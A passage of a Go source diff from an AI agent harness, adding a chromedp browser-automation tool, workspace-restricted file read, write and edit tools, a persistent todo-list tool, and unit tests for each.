if in.URL == "" {
return tool.ToolResult{Error: "url is required for navigate action"}, nil
}
if !strings.HasPrefix(in.URL, "http://") && !strings.HasPrefix(in.URL, "https://") {
return tool.ToolResult{Error: "url must start with http:// or https://"}, nil
}
if err := t.doNavigate(ctx, in); err != nil {
return tool.ToolResult{Error: fmt.Sprintf("navigate failed: %v", err)}, nil
}
// Title is read AFTER the readiness wait so SPAs that set <title> from JS
// return their real title rather than the static placeholder.
var title string
if err := chromedp.Run(ctx, chromedp.Title(&title)); err != nil {
return tool.ToolResult{Error: fmt.Sprintf("title failed: %v", err)}, nil
}
return tool.ToolResult{
Output: fmt.Sprintf("Navigated to %s\nPage title: %s", in.URL, title),
Metadata: map[string]any{
"url": in.URL,
"title": title,
},
}, nil
}
func (t *BrowserTool) click(ctx context.Context, in browserInput) (tool.ToolResult, error) {
if in.Selector == "" {
return tool.ToolResult{Error: "selector is required for click action"}, nil
}
if err := t.navigateIfNeeded(ctx, in); err != nil {
return tool.ToolResult{Error: fmt.Sprintf("navigate failed: %v", err)}, nil
}
if err := waitForElement(ctx, "click", in.Selector, chromedp.WaitVisible(in.Selector)); err != nil {
return tool.ToolResult{Error: err.Error()}, nil
}
if err := chromedp.Run(ctx, chromedp.Click(in.Selector)); err != nil {
return tool.ToolResult{Error: fmt.Sprintf("click failed on %q: %v", in.Selector, err)}, nil
}
return tool.ToolResult{Output: fmt.Sprintf("Clicked element: %s", in.Selector)}, nil
}
func (t *BrowserTool) typeText(ctx context.Context, in browserInput) (tool.ToolResult, error) {
if in.Selector == "" {
return tool.ToolResult{Error: "selector is required for type action"}, nil
}
if in.Text == "" {
return tool.ToolResult{Error: "text is required for type action"}, nil
}
if err := t.navigateIfNeeded(ctx, in); err != nil {
return tool.ToolResult{Error: fmt.Sprintf("navigate failed: %v", err)}, nil
}
if err := waitForElement(ctx, "type", in.Selector, chromedp.WaitVisible(in.Selector)); err != nil {
return tool.ToolResult{Error: err.Error()}, nil
}
if err := chromedp.Run(ctx,
chromedp.Clear(in.Selector),
chromedp.SendKeys(in.Selector, in.Text),
); err != nil {
return tool.ToolResult{Error: fmt.Sprintf("type failed on %q: %v", in.Selector, err)}, nil
}
return tool.ToolResult{Output: fmt.Sprintf("Typed text into element: %s", in.Selector)}, nil
}
func (t *BrowserTool) getText(ctx context.Context, in browserInput) (tool.ToolResult, error) {
selector := in.Selector
if selector == "" {
selector = "body"
}
if err := t.navigateIfNeeded(ctx, in); err != nil {
return tool.ToolResult{Error: fmt.Sprintf("navigate failed: %v", err)}, nil
}
if err := waitForElement(ctx, "get_text", selector, chromedp.WaitReady(selector)); err != nil {
return tool.ToolResult{Error: err.Error()}, nil
}
var text string
if err := chromedp.Run(ctx, chromedp.InnerHTML(selector, &text)); err != nil {
return tool.ToolResult{Error: fmt.Sprintf("get_text failed on %q: %v", selector, err)}, nil
}
if len(text) > web.MaxOutputLength {
text = text[:web.MaxOutputLength] + "\n\n[Content truncated]"
}
return tool.ToolResult{Output: text}, nil
}
func (t *BrowserTool) screenshot(ctx context.Context, in browserInput) (tool.ToolResult, error) {
if err := t.navigateIfNeeded(ctx, in); err != nil {
return tool.ToolResult{Error: fmt.Sprintf("navigate failed: %v", err)}, nil
}
var buf []byte
err := chromedp.Run(ctx,
chromedp.FullScreenshot(&buf, 90),
)
if err != nil {
return tool.ToolResult{Error: fmt.Sprintf("screenshot failed: %v", err)}, nil
}
return tool.ToolResult{
Output: fmt.Sprintf("Screenshot captured (%d bytes). The image is attached for visual inspection.", len(buf)),
Images: []llm.ImageContent{
{MimeType: "image/jpeg", Data: buf},
},
Metadata: map[string]any{
"format": "jpeg",
"size": len(buf),
},
}, nil
}
func (t *BrowserTool) evaluate(ctx context.Context, in browserInput) (tool.ToolResult, error) {
if in.Script == "" {
return tool.ToolResult{Error: "script is required for evaluate action"}, nil
}
if err := t.navigateIfNeeded(ctx, in); err != nil {
return tool.ToolResult{Error: fmt.Sprintf("navigate failed: %v", err)}, nil
}
var result any
err := chromedp.Run(ctx,
chromedp.Evaluate(in.Script, &result),
)
if err != nil {
return tool.ToolResult{Error: fmt.Sprintf("evaluate failed: %v", err)}, nil
}
output, err := json.MarshalIndent(result, "", " ")
if err != nil {
return tool.ToolResult{Output: fmt.Sprintf("%v", result)}, nil
}
return tool.ToolResult{Output: string(output)}, nil
}
+173
View File
@@ -0,0 +1,173 @@
package browser
import (
"context"
"encoding/json"
"fmt"
"testing"
"github.com/stretchr/testify/assert"
"github.com/stretchr/testify/require"
)
func TestBrowserToolName(t *testing.T) {
tool := &BrowserTool{}
assert.Equal(t, "browser", tool.Name())
}
func TestBrowserToolParameters(t *testing.T) {
tool := &BrowserTool{}
params := tool.Parameters()
assert.True(t, json.Valid(params), "Parameters() should return valid JSON")
}
func TestBrowserToolMissingAction(t *testing.T) {
tool := &BrowserTool{}
input, _ := json.Marshal(browserInput{})
result, err := tool.Execute(context.Background(), input)
require.NoError(t, err)
assert.Contains(t, result.Error, "action is required")
}
func TestBrowserToolUnknownAction(t *testing.T) {
tool := &BrowserTool{}
input, _ := json.Marshal(browserInput{Action: "fly"})
result, err := tool.Execute(context.Background(), input)
require.NoError(t, err)
assert.Contains(t, result.Error, "unknown action")
assert.Contains(t, result.Error, "fly")
}
func TestBrowserNavigateMissingURL(t *testing.T) {
tool := &BrowserTool{}
result, err := tool.navigate(context.Background(), browserInput{Action: "navigate"})
require.NoError(t, err)
assert.Contains(t, result.Error, "url is required")
}
func TestBrowserNavigateInvalidURL(t *testing.T) {
tool := &BrowserTool{}
result, err := tool.navigate(context.Background(), browserInput{Action: "navigate", URL: "ftp://example.com"})
require.NoError(t, err)
assert.Contains(t, result.Error, "url must start with http")
}
func TestBrowserClickMissingSelector(t *testing.T) {
tool := &BrowserTool{}
result, err := tool.click(context.Background(), browserInput{Action: "click"})
require.NoError(t, err)
assert.Contains(t, result.Error, "selector is required")
}
func TestBrowserTypeMissingSelector(t *testing.T) {
tool := &BrowserTool{}
result, err := tool.typeText(context.Background(), browserInput{Action: "type", Text: "hello"})
require.NoError(t, err)
assert.Contains(t, result.Error, "selector is required")
}
func TestBrowserTypeMissingText(t *testing.T) {
tool := &BrowserTool{}
result, err := tool.typeText(context.Background(), browserInput{Action: "type", Selector: "#input"})
require.NoError(t, err)
assert.Contains(t, result.Error, "text is required")
}
func TestBrowserEvaluateMissingScript(t *testing.T) {
tool := &BrowserTool{}
result, err := tool.evaluate(context.Background(), browserInput{Action: "evaluate"})
require.NoError(t, err)
assert.Contains(t, result.Error, "script is required")
}
// Verify the about:blank trap detection: post-navigation actions called
// without url AND without session must fail fast with an actionable hint
// rather than silently producing blank output.
func TestBrowserAboutBlankTrap(t *testing.T) {
tool := &BrowserTool{}
for _, action := range []string{"screenshot", "get_text", "evaluate", "click", "type"} {
in := browserInput{Action: action}
switch action {
case "click":
in.Selector = "#x"
case "type":
in.Selector = "#x"
in.Text = "hi"
case "evaluate":
in.Script = "1+1"
}
body, _ := json.Marshal(in)
result, err := tool.Execute(context.Background(), body)
require.NoError(t, err)
assert.Contains(t, result.Error, action, "action name should appear in error")
assert.Contains(t, result.Error, "url", "error should mention url")
assert.Contains(t, result.Error, "session", "error should mention session")
}
}
// With a session set, the trap detection does NOT fire — calls are valid
// because state from a prior navigate in the same session may exist.
// (This still launches Chrome via getOrCreateSession, so we only check
// that the blank-trap message is absent from any error returned.)
func TestBrowserAboutBlankTrapBypassedBySession(t *testing.T) {
tool := &BrowserTool{}
// Use a small per-call timeout so even if Chrome launches we abort fast.
body, _ := json.Marshal(browserInput{Action: "screenshot", Session: "test-session", Timeout: 1})
result, _ := tool.Execute(context.Background(), body)
assert.NotContains(t, result.Error, "fresh browser starting on about:blank")
}
// Same: with a URL set, the trap detection does NOT fire — the URL is
// validated, not the about:blank case.
func TestBrowserAboutBlankTrapBypassedByURL(t *testing.T) {
tool := &BrowserTool{}
body, _ := json.Marshal(browserInput{Action: "screenshot", URL: "ftp://nope"})
result, _ := tool.Execute(context.Background(), body)
// Should hit the URL-prefix check, not the about:blank check.
assert.Contains(t, result.Error, "http://")
assert.NotContains(t, result.Error, "fresh browser")
}
func TestBrowserCloseRequiresSession(t *testing.T) {
tool := &BrowserTool{}
input, _ := json.Marshal(browserInput{Action: "close"})
result, err := tool.Execute(context.Background(), input)
require.NoError(t, err)
assert.Contains(t, result.Error, "session is required")
}
func TestBrowserCloseUnknownSession(t *testing.T) {
tool := &BrowserTool{}
input, _ := json.Marshal(browserInput{Action: "close", Session: "nope"})
result, err := tool.Execute(context.Background(), input)
require.NoError(t, err)
assert.Empty(t, result.Error)
assert.Contains(t, result.Output, `No active session "nope"`)
}
// TestBrowserSessionLimit verifies the in-memory bookkeeping refuses a 6th
// session without ever launching Chrome by pre-populating sentinel entries.
func TestBrowserSessionLimit(t *testing.T) {
tool := &BrowserTool{}
tool.sessions = make(map[string]*browserSession)
for i := 0; i < sessionMaxCount; i++ {
tool.sessions[fmt.Sprintf("s%d", i)] = &browserSession{taskCancel: func() {}, allocCancel: func() {}}
}
_, err := tool.getOrCreateSession("overflow")
require.Error(t, err)
assert.Contains(t, err.Error(), "session limit reached")
}
func TestBrowserCloseSessionCleansMap(t *testing.T) {
tool := &BrowserTool{}
tool.sessions = map[string]*browserSession{
"a": {taskCancel: func() {}, allocCancel: func() {}},
}
require.True(t, tool.closeSession("a"))
assert.NotContains(t, tool.sessions, "a")
require.False(t, tool.closeSession("a"))
}
+94
View File
@@ -0,0 +1,94 @@
package file
import (
"context"
"encoding/json"
"fmt"
"os"
"strings"
"github.com/sausheong/harness/tool"
)
// EditFileTool performs a string-replace edit on a file.
type EditFileTool struct {
WorkDir string // if set, restricts edits to this directory
}
type editFileInput struct {
Path string `json:"path"`
OldString string `json:"old_string"`
NewString string `json:"new_string"`
}
func (t *EditFileTool) Name() string { return "edit_file" }
func (t *EditFileTool) Description() string {
return "Edit a file by replacing an exact string match. The old_string must match exactly one occurrence in the file. Use this for targeted edits rather than rewriting entire files."
}
func (t *EditFileTool) Parameters() json.RawMessage {
return json.RawMessage(`{
"type": "object",
"properties": {
"path": {
"type": "string",
"description": "The path to the file to edit"
},
"old_string": {
"type": "string",
"description": "The exact text to find and replace"
},
"new_string": {
"type": "string",
"description": "The replacement text"
}
},
"required": ["path", "old_string", "new_string"]
}`)
}
// IsConcurrencySafe returns false — edit_file mutates the filesystem.
func (t *EditFileTool) IsConcurrencySafe(_ json.RawMessage) bool { return false }
func (t *EditFileTool) Execute(_ context.Context, input json.RawMessage) (tool.ToolResult, error) {
var in editFileInput
if err := json.Unmarshal(input, &in); err != nil {
return tool.ToolResult{Error: fmt.Sprintf("invalid input: %v", err)}, nil
}
if in.Path == "" {
return tool.ToolResult{Error: "path is required"}, nil
}
in.Path = tool.ExpandHome(in.Path)
in.Path = tool.ResolveExistingPath(in.Path)
if t.WorkDir != "" {
if err := tool.ValidatePathInWorkDir(in.Path, t.WorkDir); err != nil {
return tool.ToolResult{Error: err.Error()}, nil
}
}
data, err := os.ReadFile(in.Path)
if err != nil {
return tool.ToolResult{Error: fmt.Sprintf("failed to read file: %v", err)}, nil
}
content := string(data)
count := strings.Count(content, in.OldString)
if count == 0 {
return tool.ToolResult{Error: "old_string not found in file"}, nil
}
if count > 1 {
return tool.ToolResult{Error: fmt.Sprintf("old_string found %d times in file, must be unique", count)}, nil
}
newContent := strings.Replace(content, in.OldString, in.NewString, 1)
if err := os.WriteFile(in.Path, []byte(newContent), 0o644); err != nil {
return tool.ToolResult{Error: fmt.Sprintf("failed to write file: %v", err)}, nil
}
return tool.ToolResult{Output: "Successfully edited file"}, nil
}
+104
View File
@@ -0,0 +1,104 @@
package file
import (
"context"
"encoding/json"
"os"
"path/filepath"
"testing"
"github.com/stretchr/testify/assert"
"github.com/stretchr/testify/require"
)
func TestReadFileTool(t *testing.T) {
dir := t.TempDir()
path := filepath.Join(dir, "test.txt")
require.NoError(t, os.WriteFile(path, []byte("hello world"), 0o644))
tool := &ReadFileTool{}
input, _ := json.Marshal(readFileInput{Path: path})
result, err := tool.Execute(context.Background(), input)
require.NoError(t, err)
assert.Equal(t, "hello world", result.Output)
assert.Empty(t, result.Error)
}
func TestReadFileToolMissing(t *testing.T) {
tool := &ReadFileTool{}
input, _ := json.Marshal(readFileInput{Path: "/nonexistent/file"})
result, err := tool.Execute(context.Background(), input)
require.NoError(t, err)
assert.NotEmpty(t, result.Error)
}
func TestReadFileToolWorkDirClamps(t *testing.T) {
workspace := t.TempDir()
outside := filepath.Join(t.TempDir(), "secret.txt")
require.NoError(t, os.WriteFile(outside, []byte("nope"), 0o644))
tool := &ReadFileTool{WorkDir: workspace}
input, _ := json.Marshal(readFileInput{Path: outside})
result, err := tool.Execute(context.Background(), input)
require.NoError(t, err)
assert.Contains(t, result.Error, "outside workspace",
"reads outside the workspace must be rejected when WorkDir is set")
}
func TestWriteFileTool(t *testing.T) {
dir := t.TempDir()
path := filepath.Join(dir, "subdir", "output.txt")
tool := &WriteFileTool{}
input, _ := json.Marshal(writeFileInput{Path: path, Content: "test content"})
result, err := tool.Execute(context.Background(), input)
require.NoError(t, err)
assert.Empty(t, result.Error)
assert.Contains(t, result.Output, "Successfully wrote")
data, err := os.ReadFile(path)
require.NoError(t, err)
assert.Equal(t, "test content", string(data))
}
func TestEditFileTool(t *testing.T) {
dir := t.TempDir()
path := filepath.Join(dir, "edit.txt")
require.NoError(t, os.WriteFile(path, []byte("hello world"), 0o644))
tool := &EditFileTool{}
input, _ := json.Marshal(editFileInput{
Path: path,
OldString: "world",
NewString: "Go",
})
result, err := tool.Execute(context.Background(), input)
require.NoError(t, err)
assert.Empty(t, result.Error)
data, err := os.ReadFile(path)
require.NoError(t, err)
assert.Equal(t, "hello Go", string(data))
}
func TestEditFileToolNotFound(t *testing.T) {
dir := t.TempDir()
path := filepath.Join(dir, "edit.txt")
require.NoError(t, os.WriteFile(path, []byte("hello world"), 0o644))
tool := &EditFileTool{}
input, _ := json.Marshal(editFileInput{
Path: path,
OldString: "missing",
NewString: "replacement",
})
result, err := tool.Execute(context.Background(), input)
require.NoError(t, err)
assert.Contains(t, result.Error, "not found")
}
+111
View File
@@ -0,0 +1,111 @@
package file
import (
"context"
"encoding/json"
"fmt"
"os"
"path/filepath"
"strings"
"github.com/sausheong/harness/llm"
"github.com/sausheong/harness/tool"
)
// ReadFileTool reads the contents of a file.
type ReadFileTool struct {
WorkDir string // if set, restricts reads to this directory
}
type readFileInput struct {
Path string `json:"path"`
}
func (t *ReadFileTool) Name() string { return "read_file" }
func (t *ReadFileTool) Description() string {
return "Read the contents of a file at the given path. Returns the file contents as text. For image files (jpg, png, gif, webp, bmp), returns the image for visual inspection."
}
func (t *ReadFileTool) Parameters() json.RawMessage {
return json.RawMessage(`{
"type": "object",
"properties": {
"path": {
"type": "string",
"description": "The absolute or relative path to the file to read"
}
},
"required": ["path"]
}`)
}
// imageExtMap maps file extensions to MIME types for image files.
var imageExtMap = map[string]string{
".jpg": "image/jpeg",
".jpeg": "image/jpeg",
".png": "image/png",
".gif": "image/gif",
".webp": "image/webp",
".bmp": "image/bmp",
}
// detectImageMIMEFromBytes inspects magic bytes to determine the actual image
// format, falling back to hint (typically derived from file extension).
func detectImageMIMEFromBytes(data []byte, hint string) string {
if len(data) >= 3 && data[0] == 0xFF && data[1] == 0xD8 && data[2] == 0xFF {
return "image/jpeg"
}
if len(data) >= 4 && data[0] == 0x89 && data[1] == 'P' && data[2] == 'N' && data[3] == 'G' {
return "image/png"
}
if len(data) >= 4 && data[0] == 'G' && data[1] == 'I' && data[2] == 'F' && data[3] == '8' {
return "image/gif"
}
if len(data) >= 4 && data[0] == 'R' && data[1] == 'I' && data[2] == 'F' && data[3] == 'F' {
return "image/webp"
}
return hint
}
// IsConcurrencySafe returns true — read_file is a pure read.
func (t *ReadFileTool) IsConcurrencySafe(_ json.RawMessage) bool { return true }
func (t *ReadFileTool) Execute(_ context.Context, input json.RawMessage) (tool.ToolResult, error) {
var in readFileInput
if err := json.Unmarshal(input, &in); err != nil {
return tool.ToolResult{Error: fmt.Sprintf("invalid input: %v", err)}, nil
}
if in.Path == "" {
return tool.ToolResult{Error: "path is required"}, nil
}
in.Path = tool.ExpandHome(in.Path)
in.Path = tool.ResolveExistingPath(in.Path)
if t.WorkDir != "" {
if err := tool.ValidatePathInWorkDir(in.Path, t.WorkDir); err != nil {
return tool.ToolResult{Error: err.Error()}, nil
}
}
data, err := os.ReadFile(in.Path)
if err != nil {
return tool.ToolResult{Error: fmt.Sprintf("failed to read file: %v", err)}, nil
}
// Check if this is an image file
ext := strings.ToLower(filepath.Ext(in.Path))
if mimeType, ok := imageExtMap[ext]; ok {
mimeType = detectImageMIMEFromBytes(data, mimeType)
return tool.ToolResult{
Output: fmt.Sprintf("Image file: %s (%d bytes)", filepath.Base(in.Path), len(data)),
Images: []llm.ImageContent{
{MimeType: mimeType, Data: data},
},
}, nil
}
return tool.ToolResult{Output: string(data)}, nil
}
+77
View File
@@ -0,0 +1,77 @@
package file
import (
"context"
"encoding/json"
"fmt"
"os"
"path/filepath"
"github.com/sausheong/harness/tool"
)
// WriteFileTool creates or overwrites a file.
type WriteFileTool struct {
WorkDir string // if set, restricts writes to this directory
}
type writeFileInput struct {
Path string `json:"path"`
Content string `json:"content"`
}
func (t *WriteFileTool) Name() string { return "write_file" }
func (t *WriteFileTool) Description() string {
return "Write content to a file at the given path. Creates the file and any parent directories if they don't exist. Overwrites existing files."
}
func (t *WriteFileTool) Parameters() json.RawMessage {
return json.RawMessage(`{
"type": "object",
"properties": {
"path": {
"type": "string",
"description": "The absolute or relative path to the file to write"
},
"content": {
"type": "string",
"description": "The content to write to the file"
}
},
"required": ["path", "content"]
}`)
}
// IsConcurrencySafe returns false — write_file mutates the filesystem.
func (t *WriteFileTool) IsConcurrencySafe(_ json.RawMessage) bool { return false }
func (t *WriteFileTool) Execute(_ context.Context, input json.RawMessage) (tool.ToolResult, error) {
var in writeFileInput
if err := json.Unmarshal(input, &in); err != nil {
return tool.ToolResult{Error: fmt.Sprintf("invalid input: %v", err)}, nil
}
if in.Path == "" {
return tool.ToolResult{Error: "path is required"}, nil
}
in.Path = tool.ExpandHome(in.Path)
if t.WorkDir != "" {
if err := tool.ValidatePathInWorkDir(in.Path, t.WorkDir); err != nil {
return tool.ToolResult{Error: err.Error()}, nil
}
}
// Create parent directories
dir := filepath.Dir(in.Path)
if err := os.MkdirAll(dir, 0o755); err != nil {
return tool.ToolResult{Error: fmt.Sprintf("failed to create directory: %v", err)}, nil
}
if err := os.WriteFile(in.Path, []byte(in.Content), 0o644); err != nil {
return tool.ToolResult{Error: fmt.Sprintf("failed to write file: %v", err)}, nil
}
return tool.ToolResult{Output: fmt.Sprintf("Successfully wrote %d bytes to %s", len(in.Content), in.Path)}, nil
}
+286
View File
@@ -0,0 +1,286 @@
package todo
import (
"context"
"encoding/json"
"fmt"
"os"
"path/filepath"
"sort"
"strings"
"sync"
"time"
"github.com/sausheong/harness/tool"
)
// TodoStatus is the status of a todo item.
type TodoStatus string
const (
TodoPending TodoStatus = "pending"
TodoInProgress TodoStatus = "in_progress"
TodoCompleted TodoStatus = "completed"
)
// TodoItem is one entry in the per-workspace todo list.
type TodoItem struct {
ID string `json:"id"`
Content string `json:"content"`
Status TodoStatus `json:"status"`
CreatedAt int64 `json:"createdAt"`
UpdatedAt int64 `json:"updatedAt"`
}
// TodoWriteTool maintains a per-workspace todo list the agent uses to
// track multi-step work. Persisted to <Workspace>/.felix/todos.json so
// it survives across turns within a session and across sessions for
// the same workspace.
//
// State is loaded lazily on first call and re-read from disk before
// each operation — so external edits (a human deleting the file, a
// concurrent agent in another process) are picked up. The mutex only
// serialises calls within this process.
type TodoWriteTool struct {
WorkDir string
mu sync.Mutex
}
func (t *TodoWriteTool) Name() string { return "todo_write" }
func (t *TodoWriteTool) Description() string {
return "Persistent todo list for tracking long, multi-stage work. DO NOT use this as a planning scratchpad before starting a task — start working directly and call your real tools. Reserve todo_write for genuinely long-running work with roughly 5+ independent subtasks that will span many turns. When initializing a list, emit every `add` call as a parallel tool call in the SAME assistant response (the runtime serialises them safely) — never call `add` once per turn, that wastes round trips. Operations: list (default), add, update, complete, remove. The full current list is returned every call."
}
func (t *TodoWriteTool) Parameters() json.RawMessage {
return json.RawMessage(`{
"type": "object",
"properties": {
"op": {
"type": "string",
"enum": ["list", "add", "update", "complete", "remove"],
"description": "Operation to perform. Default: list."
},
"id": {
"type": "string",
"description": "Todo id, required for update/complete/remove. Returned by add."
},
"content": {
"type": "string",
"description": "Todo body, required for add and optional for update."
},
"status": {
"type": "string",
"enum": ["pending", "in_progress", "completed"],
"description": "Status, used by update. Add starts items as pending; complete is shorthand for status=completed."
}
}
}`)
}
// IsConcurrencySafe is FALSE: the tool reads-modify-writes a shared
// file and modifies in-process state under a mutex. Marking it safe
// would let the agent loop dispatch parallel todo_write calls, all
// racing the same file. Better to serialise.
func (t *TodoWriteTool) IsConcurrencySafe(_ json.RawMessage) bool { return false }
type todoInput struct {
Op string `json:"op"`
ID string `json:"id"`
Content string `json:"content"`
Status TodoStatus `json:"status"`
}
func (t *TodoWriteTool) Execute(_ context.Context, input json.RawMessage) (tool.ToolResult, error) {
t.mu.Lock()
defer t.mu.Unlock()
var in todoInput
if len(input) > 0 {
if err := json.Unmarshal(input, &in); err != nil {
return tool.ToolResult{Error: fmt.Sprintf("invalid input: %v", err)}, nil
}
}
if in.Op == "" {
in.Op = "list"
}
items, err := t.load()
if err != nil {
return tool.ToolResult{Error: fmt.Sprintf("load todos: %v", err)}, nil
}
now := time.Now().Unix()
switch in.Op {
case "list":
// nothing to do
case "add":
if in.Content == "" {
return tool.ToolResult{Error: "content is required for add"}, nil
}
items = append(items, TodoItem{
ID: nextTodoID(items),
Content: in.Content,
Status: TodoPending,
CreatedAt: now,
UpdatedAt: now,
})
case "update":
if in.ID == "" {
return tool.ToolResult{Error: "id is required for update"}, nil
}
idx := findTodo(items, in.ID)
if idx < 0 {
return tool.ToolResult{Error: fmt.Sprintf("todo not found: %q", in.ID)}, nil
}
if in.Content != "" {
items[idx].Content = in.Content
}
if in.Status != "" {
if !validStatus(in.Status) {
return tool.ToolResult{Error: fmt.Sprintf("invalid status: %q", in.Status)}, nil
}
items[idx].Status = in.Status
}
items[idx].UpdatedAt = now
case "complete":
if in.ID == "" {
return tool.ToolResult{Error: "id is required for complete"}, nil
}
idx := findTodo(items, in.ID)
if idx < 0 {
return tool.ToolResult{Error: fmt.Sprintf("todo not found: %q", in.ID)}, nil
}
items[idx].Status = TodoCompleted
items[idx].UpdatedAt = now
case "remove":
if in.ID == "" {
return tool.ToolResult{Error: "id is required for remove"}, nil
}
idx := findTodo(items, in.ID)
if idx < 0 {
return tool.ToolResult{Error: fmt.Sprintf("todo not found: %q", in.ID)}, nil
}
items = append(items[:idx], items[idx+1:]...)
default:
return tool.ToolResult{Error: fmt.Sprintf("unknown op: %q", in.Op)}, nil
}
if in.Op != "list" {
if err := t.save(items); err != nil {
return tool.ToolResult{Error: fmt.Sprintf("save todos: %v", err)}, nil
}
}
return tool.ToolResult{Output: formatTodos(items)}, nil
}
// load reads the persisted todos from <WorkDir>/.felix/todos.json.
// Missing file → empty list (not an error). Corrupt JSON → error so
// the agent knows the file needs manual repair rather than silently
// dropping work.
func (t *TodoWriteTool) load() ([]TodoItem, error) {
if t.WorkDir == "" {
return nil, nil // headless / test mode — no persistence
}
path := t.todosPath()
data, err := os.ReadFile(path)
if err != nil {
if os.IsNotExist(err) {
return nil, nil
}
return nil, err
}
if len(data) == 0 {
return nil, nil
}
var items []TodoItem
if err := json.Unmarshal(data, &items); err != nil {
return nil, fmt.Errorf("corrupt todos.json: %w", err)
}
return items, nil
}
func (t *TodoWriteTool) save(items []TodoItem) error {
if t.WorkDir == "" {
return nil
}
path := t.todosPath()
if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil {
return err
}
data, err := json.MarshalIndent(items, "", " ")
if err != nil {
return err
}
return os.WriteFile(path, data, 0o644)
}
func (t *TodoWriteTool) todosPath() string {
return filepath.Join(t.WorkDir, ".felix", "todos.json")
}
// nextTodoID returns the next sequential id (t1, t2, …) — short and
// memorable for the model to reference. Numeric suffix is one past
// the highest existing numeric id; non-numeric ids are ignored when
// computing the next number.
func nextTodoID(items []TodoItem) string {
max := 0
for _, it := range items {
var n int
if _, err := fmt.Sscanf(it.ID, "t%d", &n); err == nil && n > max {
max = n
}
}
return fmt.Sprintf("t%d", max+1)
}
func findTodo(items []TodoItem, id string) int {
for i, it := range items {
if it.ID == id {
return i
}
}
return -1
}
func validStatus(s TodoStatus) bool {
return s == TodoPending || s == TodoInProgress || s == TodoCompleted
}
// formatTodos renders the list as a checklist the model can scan.
// Sorted: in_progress → pending → completed, then by id within each
// bucket, so the model's eye lands on what's currently active first.
func formatTodos(items []TodoItem) string {
if len(items) == 0 {
return "(no todos)"
}
statusOrder := map[TodoStatus]int{
TodoInProgress: 0,
TodoPending: 1,
TodoCompleted: 2,
}
sorted := make([]TodoItem, len(items))
copy(sorted, items)
sort.SliceStable(sorted, func(i, j int) bool {
si, sj := statusOrder[sorted[i].Status], statusOrder[sorted[j].Status]
if si != sj {
return si < sj
}
return sorted[i].ID < sorted[j].ID
})
var b strings.Builder
for _, it := range sorted {
var marker string
switch it.Status {
case TodoCompleted:
marker = "[x]"
case TodoInProgress:
marker = "[~]"
default:
marker = "[ ]"
}
fmt.Fprintf(&b, "%s %s — %s\n", marker, it.ID, it.Content)
}
return strings.TrimRight(b.String(), "\n")
}
+189
View File
@@ -0,0 +1,189 @@
package todo
import (
"context"
"encoding/json"
"os"
"path/filepath"
"testing"
"github.com/stretchr/testify/assert"
"github.com/stretchr/testify/require"
)
// --- single-call ops ---
func TestTodoWriteListEmpty(t *testing.T) {
tool := &TodoWriteTool{WorkDir: t.TempDir()}
res, err := tool.Execute(context.Background(), json.RawMessage(`{"op":"list"}`))
require.NoError(t, err)
assert.Empty(t, res.Error)
assert.Equal(t, "(no todos)", res.Output)
}
func TestTodoWriteAddReturnsItemAndPersists(t *testing.T) {
dir := t.TempDir()
tool := &TodoWriteTool{WorkDir: dir}
res, err := tool.Execute(context.Background(), json.RawMessage(`{"op":"add","content":"first task"}`))
require.NoError(t, err)
assert.Empty(t, res.Error)
assert.Contains(t, res.Output, "[ ] t1 — first task")
// Persisted to disk so a fresh tool instance picks it up.
path := filepath.Join(dir, ".felix", "todos.json")
data, err := os.ReadFile(path)
require.NoError(t, err)
assert.Contains(t, string(data), "first task")
tool2 := &TodoWriteTool{WorkDir: dir}
res2, _ := tool2.Execute(context.Background(), json.RawMessage(`{"op":"list"}`))
assert.Contains(t, res2.Output, "first task")
}
func TestTodoWriteAddMissingContentRejected(t *testing.T) {
tool := &TodoWriteTool{WorkDir: t.TempDir()}
res, _ := tool.Execute(context.Background(), json.RawMessage(`{"op":"add"}`))
assert.Contains(t, res.Error, "content is required")
}
func TestTodoWriteCompleteShortcut(t *testing.T) {
tool := &TodoWriteTool{WorkDir: t.TempDir()}
tool.Execute(context.Background(), json.RawMessage(`{"op":"add","content":"x"}`))
res, _ := tool.Execute(context.Background(), json.RawMessage(`{"op":"complete","id":"t1"}`))
assert.Empty(t, res.Error)
assert.Contains(t, res.Output, "[x] t1 — x")
}
func TestTodoWriteUpdateChangesStatusAndContent(t *testing.T) {
tool := &TodoWriteTool{WorkDir: t.TempDir()}
tool.Execute(context.Background(), json.RawMessage(`{"op":"add","content":"orig"}`))
res, _ := tool.Execute(context.Background(), json.RawMessage(`{"op":"update","id":"t1","content":"revised","status":"in_progress"}`))
assert.Empty(t, res.Error)
assert.Contains(t, res.Output, "[~] t1 — revised")
}
func TestTodoWriteUpdateInvalidStatusRejected(t *testing.T) {
tool := &TodoWriteTool{WorkDir: t.TempDir()}
tool.Execute(context.Background(), json.RawMessage(`{"op":"add","content":"x"}`))
res, _ := tool.Execute(context.Background(), json.RawMessage(`{"op":"update","id":"t1","status":"frobnicated"}`))
assert.Contains(t, res.Error, "invalid status")
}
func TestTodoWriteRemove(t *testing.T) {
tool := &TodoWriteTool{WorkDir: t.TempDir()}
tool.Execute(context.Background(), json.RawMessage(`{"op":"add","content":"x"}`))
tool.Execute(context.Background(), json.RawMessage(`{"op":"add","content":"y"}`))
res, _ := tool.Execute(context.Background(), json.RawMessage(`{"op":"remove","id":"t1"}`))
assert.Empty(t, res.Error)
assert.NotContains(t, res.Output, "t1")
assert.Contains(t, res.Output, "t2 — y")
}
func TestTodoWriteRemoveUnknownID(t *testing.T) {
tool := &TodoWriteTool{WorkDir: t.TempDir()}
res, _ := tool.Execute(context.Background(), json.RawMessage(`{"op":"remove","id":"ghost"}`))
assert.Contains(t, res.Error, "todo not found")
}
func TestTodoWriteUnknownOpRejected(t *testing.T) {
tool := &TodoWriteTool{WorkDir: t.TempDir()}
res, _ := tool.Execute(context.Background(), json.RawMessage(`{"op":"frobnicate"}`))
assert.Contains(t, res.Error, "unknown op")
}
func TestTodoWriteEmptyInputDefaultsToList(t *testing.T) {
tool := &TodoWriteTool{WorkDir: t.TempDir()}
res, err := tool.Execute(context.Background(), nil)
require.NoError(t, err)
assert.Empty(t, res.Error)
assert.Equal(t, "(no todos)", res.Output)
}
// --- ID generation ---
func TestNextTodoIDGapsAreSafe(t *testing.T) {
// id allocator must keep monotonically increasing even when items
// have been removed in the middle. Otherwise an old removed id
// could get re-issued and the model's earlier reference would
// silently target a different todo.
items := []TodoItem{
{ID: "t1"},
{ID: "t3"},
}
assert.Equal(t, "t4", nextTodoID(items))
}
func TestNextTodoIDIgnoresNonNumeric(t *testing.T) {
items := []TodoItem{
{ID: "legacy"},
{ID: "t2"},
